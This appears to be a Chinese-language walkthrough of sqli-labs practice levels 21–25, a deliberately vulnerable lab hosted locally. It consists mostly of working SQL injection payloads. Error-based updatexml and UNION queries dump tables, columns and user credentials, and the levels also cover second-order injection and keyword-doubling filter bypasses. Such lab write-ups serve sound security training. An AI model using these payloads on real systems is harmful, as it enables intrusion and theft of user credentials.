第21关
一.登录页面

二 .Burp Suite 抓包,进入重放器

三.查询数据库 先进行编码
')and updatexml(1,concat(1,database()),1)#


四.查表,先进行编码
')and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)


五.查列,先进行编码
')and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #

六.查询users表中所有数据
')and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)#


第22关
一.登录页面

二 .Burp Suite 抓包,进入重放器

三.查询数据库 先进行编码
"and updatexml(1,concat(1,database()),1)#


四.查表,先进行编码
"and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#


五.查列,先进行编码
"and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #


六.查询users表中所有数据
"and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)#


第23关
一.看有无回显点

二查询数据库
http://127.0.0.1/Less-23/?id=-1%27%20union%20select%201,database(),3%20or%20%271%27=%271
http://127.0.0.1/Less-23/?id=-1%27%20union%20select%201,database(),3%20or%20%271%27=%271

三.查表
http://127.0.0.1/Less-23/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20or%20%271%27=%271
http://127.0.0.1/Less-23/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20or%20%271%27=%271

四.查列
http://127.0.0.1/Less-23/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20or%20%271%27=%271
http://127.0.0.1/Less-23/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20or%20%271%27=%271

第24关
使用二次注入
一.注册用户

二.admin的密码被修改为777777

第25关
一.闭合方式为 单引号 '
http://127.0.0.1/Less-25/?id=1%27%20--+
http://127.0.0.1/Less-25/?id=1%27%20--+

二.查询数据库
http://127.0.0.1/Less-25/?id=0%27%20union%20select%201,database(),user()%20--+
http://127.0.0.1/Less-25/?id=0%27%20union%20select%201,database(),user()%20--+

三. 查询库中所有表
http://127.0.0.1/Less-25/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27--+
http://127.0.0.1/Less-25/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27--+

四.查询列
http://127.0.0.1/Less-25/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20infoorrmation_schema.columns%20where%20table_schema=%27security%27%20anandd%20table_name=%27users%27--+
http://127.0.0.1/Less-25/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20infoorrmation_schema.columns%20where%20table_schema=%27security%27%20anandd%20table_name=%27users%27--+
